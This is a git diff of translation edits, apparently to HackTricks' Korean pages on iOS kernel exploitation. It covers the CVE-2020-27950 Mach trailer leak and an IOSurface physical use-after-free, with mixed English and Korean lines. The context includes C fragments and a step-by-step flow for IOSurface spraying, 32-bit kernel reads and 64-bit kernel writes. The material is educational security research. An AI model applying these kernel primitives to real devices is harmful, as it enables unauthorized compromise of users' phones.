diff --git a/src/SUMMARY.md b/src/SUMMARY.md index a0c0a0bb7..9200053c6 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -81,6 +81,7 @@ - [Basic Python](generic-methodologies-and-resources/python/basic-python.md) - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md) - [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md) + - [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md) - [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md) # ๐Ÿง™โ€โ™‚๏ธ Generic Hacking @@ -769,7 +770,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) + - [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -846,7 +847,6 @@ - [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md) - [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md) - # ๐Ÿค– AI - [AI Security](AI/README.md) - [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md) @@ -895,7 +895,6 @@ - [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md) - [Stego Tricks](crypto-and-stego/stego-tricks.md) - [Esoteric languages](crypto-and-stego/esoteric-languages.md) -- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md) # โœ๏ธ TODO diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md index b04b4283e..c67cced62 100644 --- a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md +++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md @@ -5,9 +5,9 @@ ## ์ทจ์•ฝ์  -You have a [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), but as summary: +์—ฌ๊ธฐ์— [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)๊ฐ€ ์žˆ์ง€๋งŒ, ์š”์•ฝํ•˜๋ฉด: -์ปค๋„์ด ๋ฐ›๋Š” ๋ชจ๋“  Mach message๋Š” **"trailer"**๋กœ ๋๋‚ฉ๋‹ˆ๋‹ค: ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ(seqno, sender token, audit token, context, access control data, labels...)๋ฅผ ๋‹ด๋Š” ๊ฐ€๋ณ€ ๊ธธ์ด struct์ž…๋‹ˆ๋‹ค. ์ปค๋„์€ ๋ฉ”์‹œ์ง€ ๋ฒ„ํผ์— **ํ•ญ์ƒ ๊ฐ€๋Šฅํ•œ ์ตœ๋Œ€ ํฌ๊ธฐ์˜ trailer**(MAX_TRAILER_SIZE)๋ฅผ ์˜ˆ์•ฝํ•˜์ง€๋งŒ, **์ผ๋ถ€ ํ•„๋“œ๋งŒ ์ดˆ๊ธฐํ™”**ํ•œ ๋‹ค์Œ, ๋‚˜์ค‘์— **์‚ฌ์šฉ์ž ์ œ์–ด receive ์˜ต์…˜**์— ๋”ฐ๋ผ ์–ด๋–ค trailer ํฌ๊ธฐ๋ฅผ ๋ฐ˜ํ™˜ํ• ์ง€ ๊ฒฐ์ •ํ•ฉ๋‹ˆ๋‹ค. +์ปค๋„์ด ๋ฐ›๋Š” ๋ชจ๋“  Mach ๋ฉ”์‹œ์ง€๋Š” ๋์— **"trailer"**๊ฐ€ ๋ถ™์Šต๋‹ˆ๋‹ค: ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ(seqno, sender token, audit token, context, access control data, labels...)๋ฅผ ๋‹ด๋Š” ๊ฐ€๋ณ€ ๊ธธ์ด struct์ž…๋‹ˆ๋‹ค. ์ปค๋„์€ ๋ฉ”์‹œ์ง€ ๋ฒ„ํผ์— **ํ•ญ์ƒ ๊ฐ€๋Šฅํ•œ ๊ฐ€์žฅ ํฐ trailer** (MAX_TRAILER_SIZE)๋ฅผ ์˜ˆ์•ฝํ•˜์ง€๋งŒ, **์ผ๋ถ€ ํ•„๋“œ๋งŒ ์ดˆ๊ธฐํ™”**ํ•œ ๋’ค ๋‚˜์ค‘์— **์‚ฌ์šฉ์ž ์ œ์–ด receive ์˜ต์…˜**์— ๋”ฐ๋ผ **์–ด๋–ค trailer ํฌ๊ธฐ๋ฅผ ๋ฐ˜ํ™˜ํ• ์ง€ ๊ฒฐ์ •**ํ•ฉ๋‹ˆ๋‹ค. These are the trailer relevant structs: ```c @@ -31,7 +31,7 @@ msg_labels_t msgh_labels; typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) ``` -๊ทธ๋Ÿฐ ๋‹ค์Œ trailer ๊ฐ์ฒด๊ฐ€ ์ƒ์„ฑ๋  ๋•Œ ์ผ๋ถ€ ํ•„๋“œ๋งŒ ์ดˆ๊ธฐํ™”๋˜๊ณ , ์ตœ๋Œ€ trailer ํฌ๊ธฐ๋Š” ํ•ญ์ƒ ์˜ˆ์•ฝ๋ฉ๋‹ˆ๋‹ค: +๊ทธ๋Ÿฐ ๋‹ค์Œ, trailer object๊ฐ€ ์ƒ์„ฑ๋  ๋•Œ ์ผ๋ถ€ ํ•„๋“œ๋งŒ ์ดˆ๊ธฐํ™”๋˜๋ฉฐ, max trailer size๋Š” ํ•ญ์ƒ ์˜ˆ์•ฝ๋ฉ๋‹ˆ๋‹ค: ```c trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); trailer->msgh_sender = current_thread()->task->sec_token; @@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; [...] trailer->msgh_labels.sender = 0; ``` -์˜ˆ๋ฅผ ๋“ค์–ด, `mach_msg()`๋ฅผ ์‚ฌ์šฉํ•ด Mach ๋ฉ”์‹œ์ง€๋ฅผ ์ฝ์œผ๋ ค๊ณ  ํ•  ๋•Œ ๋ฉ”์‹œ์ง€์— trailer๋ฅผ ์ถ”๊ฐ€ํ•˜๊ธฐ ์œ„ํ•ด `ipc_kmsg_add_trailer()` ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋ฉ๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜ ๋‚ด๋ถ€์—์„œ trailer ํฌ๊ธฐ๊ฐ€ ๊ณ„์‚ฐ๋˜๊ณ  ๋‹ค๋ฅธ ๋ช‡๋ช‡ trailer ํ•„๋“œ๋“ค์ด ์ฑ„์›Œ์ง‘๋‹ˆ๋‹ค: +์˜ˆ๋ฅผ ๋“ค์–ด `mach_msg()`๋ฅผ ์‚ฌ์šฉํ•ด mach ๋ฉ”์‹œ์ง€๋ฅผ ์ฝ์œผ๋ ค๊ณ  ํ•  ๋•Œ, ๋ฉ”์‹œ์ง€์— trailer๋ฅผ ์ถ”๊ฐ€ํ•˜๊ธฐ ์œ„ํ•ด `ipc_kmsg_add_trailer()` ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋ฉ๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜ ๋‚ด๋ถ€์—์„œ trailer ํฌ๊ธฐ๊ฐ€ ๊ณ„์‚ฐ๋˜๊ณ  ๋ช‡๋ช‡ ๋‹ค๋ฅธ trailer ํ•„๋“œ๋“ค์ด ์ฑ„์›Œ์ง‘๋‹ˆ๋‹ค: ```c if (!(option & MACH_RCV_TRAILER_MASK)) { [3] return trailer->msgh_trailer_size; @@ -51,9 +51,9 @@ trailer->msgh_seqno = seqno; trailer->msgh_context = context; trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); ``` -The `option` ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” ์‚ฌ์šฉ์ž ์ œ์–ด์ด๋ฏ€๋กœ **`if` ๊ฒ€์‚ฌ์— ํ†ต๊ณผํ•˜๋Š” ๊ฐ’์„ ์ „๋‹ฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.** +`option` ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋ฏ€๋กœ, **`if` ๊ฒ€์‚ฌ์— ํ†ต๊ณผํ•˜๋Š” ๊ฐ’์„ ์ „๋‹ฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.** -์ด ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•˜๋ ค๋ฉด ์œ ํšจํ•˜๋ฉฐ ์ง€์›๋˜๋Š” `option`์„ ์ „์†กํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: +์ด ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•˜๋ ค๋ฉด ์œ ํšจํ•˜๊ณ  ์ง€์›๋˜๋Š” `option`์„ ์ „์†กํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: ```c #define MACH_RCV_TRAILER_NULL 0 #define MACH_RCV_TRAILER_SEQNO 1 @@ -67,9 +67,9 @@ The `option` ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” ์‚ฌ์šฉ์ž ์ œ์–ด์ด๋ฏ€๋กœ **`if` ๊ฒ€์‚ฌ์— ํ†ต๊ณผ #define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) #define MACH_RCV_TRAILER_MASK ((0xf << 24)) ``` -ํ•˜์ง€๋งŒ `MACH_RCV_TRAILER_MASK`๊ฐ€ ๋‹จ์ง€ ๋น„ํŠธ๋ฅผ ๊ฒ€์‚ฌํ•˜๊ธฐ ๋•Œ๋ฌธ์—, `0`๊ณผ `8` ์‚ฌ์ด์˜ ์•„๋ฌด ๊ฐ’์ด๋‚˜ ์ „๋‹ฌํ•ด `if` ๋ฌธ ์•ˆ์œผ๋กœ ๋“ค์–ด๊ฐ€์ง€ ์•Š๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +ํ•˜์ง€๋งŒ `MACH_RCV_TRAILER_MASK`๊ฐ€ ๋‹จ์ˆœํžˆ ๋น„ํŠธ๋ฅผ ๊ฒ€์‚ฌํ•˜๊ธฐ ๋•Œ๋ฌธ์—, `0`๊ณผ `8` ์‚ฌ์ด์˜ ์•„๋ฌด ๊ฐ’์ด๋‚˜ ์ „๋‹ฌํ•˜๋ฉด `if` ๋ฌธ ์•ˆ์œผ๋กœ ๋“ค์–ด๊ฐ€์ง€ ์•Š์Šต๋‹ˆ๋‹ค. -๊ทธ ๋‹ค์Œ, ์ฝ”๋“œ ์ƒ์—์„œ ๊ณ„์† ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๊ทธ๋Ÿฐ ๋‹ค์Œ, ์ฝ”๋“œ์—์„œ ๊ณ„์† ๋ณด๋ฉด: ```c if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { trailer->msgh_ad = 0; @@ -94,19 +94,31 @@ return trailer->msgh_trailer_size; ``` Were you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`. +์—ฌ๊ธฐ์„œ `option`์ด `MACH_RCV_TRAILER_AV` (7)๋ณด๋‹ค ํฌ๊ฑฐ๋‚˜ ๊ฐ™์œผ๋ฉด ํ•„๋“œ **`msgh_ad`**๊ฐ€ `0`์œผ๋กœ ์ดˆ๊ธฐํ™”๋˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. + If you noticed, **`msgh_ad`** was still the only field of the trailer that was not initialized before which could contain a leak from previously used memory. +์‚ดํŽด๋ณด๋ฉด, **`msgh_ad`**๋Š” ์ด์ „์— ์ดˆ๊ธฐํ™”๋˜์ง€ ์•Š์€ ํŠธ๋ ˆ์ผ๋Ÿฌ์˜ ์œ ์ผํ•œ ํ•„๋“œ๋กœ, ์ด์ „์— ์‚ฌ์šฉ๋œ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์œ ๋ž˜ํ•œ leak์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. + So, the way avoid initializing it would be to pass an `option` value that is `5` or `6`, so it passes the first `if` check and doesn't enter the `if` that initializes `msgh_ad` because the values `5` and `6` don't have any trailer type associated. +๋”ฐ๋ผ์„œ ์ด๋ฅผ ์ดˆ๊ธฐํ™”ํ•˜์ง€ ์•Š๋„๋ก ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ `option` ๊ฐ’์œผ๋กœ `5` ๋˜๋Š” `6`์„ ์ „๋‹ฌํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ์ฒซ ๋ฒˆ์งธ `if` ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•˜๊ณ  **`msgh_ad`**๋ฅผ ์ดˆ๊ธฐํ™”ํ•˜๋Š” `if`์— ๋“ค์–ด๊ฐ€์ง€ ์•Š๋Š”๋ฐ, ์ด๋Š” ๊ฐ’ `5`์™€ `6`์ด ์–ด๋–ค ํŠธ๋ ˆ์ผ๋Ÿฌ ํƒ€์ž…๊ณผ๋„ ์—ฐ๊ด€๋˜์–ด ์žˆ์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. + ### Basic PoC Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data. +Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), ๋‹จ์ˆœํžˆ ๋ฌด์ž‘์œ„ ๋ฐ์ดํ„ฐ๋ฅผ leakํ•˜๋Š” PoC๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. + ### Leak Kernel Address PoC The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked. +Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), kernel ์ฃผ์†Œ๋ฅผ leakํ•˜๋Š” PoC๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด `mach_msg_port_descriptor_t` ๊ตฌ์กฐ์ฒด๋“ค๋กœ ๊ฐ€๋“ํ•œ ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋ƒ…๋‹ˆ๋‹ค. userland์—์„œ ์ด ๊ตฌ์กฐ์ฒด์˜ `name` ํ•„๋“œ๋Š” unsigned int๋ฅผ ๋‹ด๊ณ  ์žˆ์ง€๋งŒ, kernel์—์„œ๋Š” `name` ํ•„๋“œ๊ฐ€ struct `ipc_port` ํฌ์ธํ„ฐ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ฉ”์‹œ์ง€์— ์ด๋Ÿฐ ๊ตฌ์กฐ์ฒด๋“ค์„ ์ˆ˜์‹ญ ๊ฐœ ์ „์†กํ•˜๋ฉด kernel ๋‚ด๋ถ€ ๋ฉ”์‹œ์ง€์— **add several kernel addresses inside the message**๊ฐ€ ๋˜์–ด ๊ทธ ์ค‘ ํ•˜๋‚˜๋ฅผ leakํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. + Commetns were added for better understanding: + +์ดํ•ด๋ฅผ ๋•๊ธฐ ์œ„ํ•ด ์ฃผ์„์„ ์ถ”๊ฐ€ํ–ˆ์Šต๋‹ˆ๋‹ค: ```c #include #include @@ -326,7 +338,7 @@ return 0; ``` ## ์ฐธ๊ณ ์ž๋ฃŒ -- [Synacktiv์˜ ๋ธ”๋กœ๊ทธ ํฌ์ŠคํŠธ](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) +- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md index 9e98028f4..78fce6394 100644 --- a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -16,7 +16,6 @@ - **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques. - **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder. - ## Physical use-after-free This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) @@ -128,7 +127,7 @@ io_connect_t id = result.surface_id; } } ``` -ํ•ด์ œ๋œ ๋ฌผ๋ฆฌ ํŽ˜์ด์ง€ ํ•˜๋‚˜์—์„œ **`IOSurface`** ๊ฐ์ฒด๋ฅผ ๊ฒ€์ƒ‰: +ํ•˜๋‚˜์˜ ํ•ด์ œ๋œ ๋ฌผ๋ฆฌ ํŽ˜์ด์ง€์—์„œ **`IOSurface`** ๊ฐ์ฒด๋ฅผ ๊ฒ€์ƒ‰: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); @@ -164,23 +163,23 @@ return 0; ``` ### IOSurface๋กœ ์ปค๋„ ์ฝ๊ธฐ/์“ฐ๊ธฐ ๋‹ฌ์„ฑ -์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์˜ IOSurface ๊ฐ์ฒด(์‚ฌ์šฉ์ž ๊ณต๊ฐ„์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ํ•ด์ œ๋œ ๋ฌผ๋ฆฌ ํŽ˜์ด์ง€์— ๋งคํ•‘๋จ)๋ฅผ ์ œ์–ดํ•˜๊ฒŒ ๋˜๋ฉด, ์ด๋ฅผ ์‚ฌ์šฉํ•ด **์ž„์˜์˜ ์ปค๋„ ์ฝ๊ธฐ ๋ฐ ์“ฐ๊ธฐ ์ž‘์—…**์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์˜ IOSurface ๊ฐ์ฒด(์œ ์ €์ŠคํŽ˜์ด์Šค์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ํ•ด์ œ๋œ ๋ฌผ๋ฆฌ ํŽ˜์ด์ง€์— ๋งคํ•‘๋œ)๋ฅผ ์ œ์–ดํ•˜๊ฒŒ ๋˜๋ฉด, ์ด๋ฅผ ํ†ตํ•ด **์ž„์˜์˜ ์ปค๋„ ์ฝ๊ธฐ ๋ฐ ์“ฐ๊ธฐ ์ž‘์—…**์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -**Key Fields in IOSurface** +**IOSurface์˜ ์ฃผ์š” ํ•„๋“œ** -IOSurface ๊ฐ์ฒด์—๋Š” ์ค‘์š”ํ•œ ํ•„๋“œ๊ฐ€ ๋‘ ๊ฐœ ์žˆ์Šต๋‹ˆ๋‹ค: +The IOSurface object has two crucial fields: 1. **Use Count Pointer**: **32-bit ์ฝ๊ธฐ**๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. 2. **Indexed Timestamp Pointer**: **64-bit ์“ฐ๊ธฐ**๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. -์ด๋“ค ํฌ์ธํ„ฐ๋ฅผ ๋ฎ์–ด์จ์„œ ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์˜ ์ž„์˜ ์ฃผ์†Œ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•˜๋ฉด ์ฝ๊ธฐ/์“ฐ๊ธฐ ๊ธฐ๋Šฅ์ด ํ™œ์„ฑํ™”๋ฉ๋‹ˆ๋‹ค. +์ด ํฌ์ธํ„ฐ๋“ค์„ ๋ฎ์–ด์“ฐ๋ฉด ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์˜ ์ž„์˜ ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ์žฌ์ง€์ •ํ•˜์—ฌ ์ฝ๊ธฐ/์“ฐ๊ธฐ ๊ธฐ๋Šฅ์„ ํ™•๋ณดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. #### 32-Bit ์ปค๋„ ์ฝ๊ธฐ ์ฝ๊ธฐ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด: -1. **use count pointer**๋ฅผ ๋Œ€์ƒ ์ฃผ์†Œ์—์„œ 0x14 ๋ฐ”์ดํŠธ ์˜คํ”„์…‹์„ ๋บ€ ์œ„์น˜๋กœ ๋ฎ์–ด์”๋‹ˆ๋‹ค. -2. ํ•ด๋‹น ์ฃผ์†Œ์˜ ๊ฐ’์„ ์ฝ๊ธฐ ์œ„ํ•ด `get_use_count` ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. +1. **use count pointer**๋ฅผ ๋Œ€์ƒ ์ฃผ์†Œ์—์„œ 0x14-byte ์˜คํ”„์…‹์„ ๋บ€ ์œ„์น˜๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ๋ฎ์–ด์”๋‹ˆ๋‹ค. +2. ๊ทธ ์ฃผ์†Œ์—์„œ ๊ฐ’์„ ์ฝ๊ธฐ ์œ„ํ•ด `get_use_count` ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { uint64_t args[1] = {surfaceID}; @@ -198,12 +197,12 @@ iosurface_set_use_count_pointer(info.object, orig); return value; } ``` -#### 64-๋น„ํŠธ ์ปค๋„ ์“ฐ๊ธฐ +#### 64-Bit Kernel Write -์“ฐ๊ธฐ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด: +์“ฐ๊ธฐ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด: -1. ๋Œ€์ƒ ์ฃผ์†Œ๋กœ **์ธ๋ฑ์Šค๋œ ํƒ€์ž„์Šคํƒฌํ”„ ํฌ์ธํ„ฐ**๋ฅผ ๋ฎ์–ด์“ด๋‹ค. -2. `set_indexed_timestamp` ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ 64๋น„ํŠธ ๊ฐ’์„ ์“ด๋‹ค. +1. ๋Œ€์ƒ ์ฃผ์†Œ๋กœ **indexed timestamp pointer**๋ฅผ ๋ฎ์–ด์“ด๋‹ค. +2. `set_indexed_timestamp` ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•ด 64๋น„ํŠธ ๊ฐ’์„ ์“ด๋‹ค. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { uint64_t args[3] = {surfaceID, 0, value}; @@ -217,13 +216,13 @@ set_indexed_timestamp(info.client, info.surface, value); iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` -#### ์ต์Šคํ”Œ๋กœ์ž‡ ํ๋ฆ„ ์š”์•ฝ +#### Exploit ํ๋ฆ„ ์š”์•ฝ -1. **Trigger Physical Use-After-Free**: ํ•ด์ œ๋œ ํŽ˜์ด์ง€๊ฐ€ ์žฌ์‚ฌ์šฉ์„ ์œ„ํ•ด ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•ด์ง. -2. **Spray IOSurface Objects**: ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์— ๊ณ ์œ ํ•œ "magic value"๋ฅผ ๊ฐ€์ง„ ๋‹ค์ˆ˜์˜ IOSurface ๊ฐ์ฒด๋ฅผ ํ• ๋‹น. -3. **Identify Accessible IOSurface**: ์ž์‹ ์ด ์ œ์–ดํ•˜๋Š” ํ•ด์ œ๋œ ํŽ˜์ด์ง€์—์„œ IOSurface๋ฅผ ์ฐพ์•„๋ƒ„. -4. **Abuse Use-After-Free**: IOSurface ๊ฐ์ฒด์˜ ํฌ์ธํ„ฐ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ IOSurface ๋ฉ”์„œ๋“œ๋ฅผ ํ†ตํ•ด ์ž„์˜์˜ **kernel read/write**๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•จ. +1. **Trigger Physical Use-After-Free**: ํ•ด์ œ๋œ ํŽ˜์ด์ง€๊ฐ€ ์žฌ์‚ฌ์šฉ์„ ์œ„ํ•ด ์ด์šฉ ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค. +2. **Spray IOSurface Objects**: ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์— ๊ณ ์œ ํ•œ "magic value"๋ฅผ ๊ฐ€์ง„ ๋งŽ์€ IOSurface ๊ฐ์ฒด๋ฅผ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค. +3. **Identify Accessible IOSurface**: ์ œ์–ดํ•˜๋Š” ํ•ด์ œ๋œ ํŽ˜์ด์ง€์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ IOSurface๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค. +4. **Abuse Use-After-Free**: IOSurface ๊ฐ์ฒด์˜ ํฌ์ธํ„ฐ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ IOSurface ๋ฉ”์„œ๋“œ๋ฅผ ํ†ตํ•ด ์ž„์˜์˜ **kernel read/write**๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. -์ด๋Ÿฌํ•œ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๋กœ ์ต์Šคํ”Œ๋กœ์ž‡์€ ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์— ๋Œ€ํ•ด ์ œ์–ด๋œ **32-bit reads** ๋ฐ **64-bit writes**๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ถ”๊ฐ€์ ์ธ ํƒˆ์˜ฅ ๋‹จ๊ณ„๋Š” ๋” ์•ˆ์ •์ ์ธ ์ฝ๊ธฐ/์“ฐ๊ธฐ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๋ฅผ ํ•„์š”๋กœ ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์ถ”๊ฐ€ ๋ณดํ˜ธ(์˜ˆ: ์ตœ์‹  arm64e ๊ธฐ๊ธฐ์˜ PPL)๋ฅผ ์šฐํšŒํ•ด์•ผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ด๋Ÿฌํ•œ primitives๋กœ exploit์€ ์ œ์–ด๋œ **32-bit reads** ๋ฐ **64-bit writes**๋ฅผ ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์— ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ดํ›„์˜ jailbreak ๋‹จ๊ณ„๋Š” ๋” ์•ˆ์ •์ ์ธ read/write primitives๋ฅผ ํ•„์š”๋กœ ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์ถ”๊ฐ€ ๋ณดํ˜ธ ๊ธฐ๋Šฅ(์˜ˆ: ์ตœ์‹  arm64e ์žฅ์น˜์˜ PPL)์„ ์šฐํšŒํ•ด์•ผ 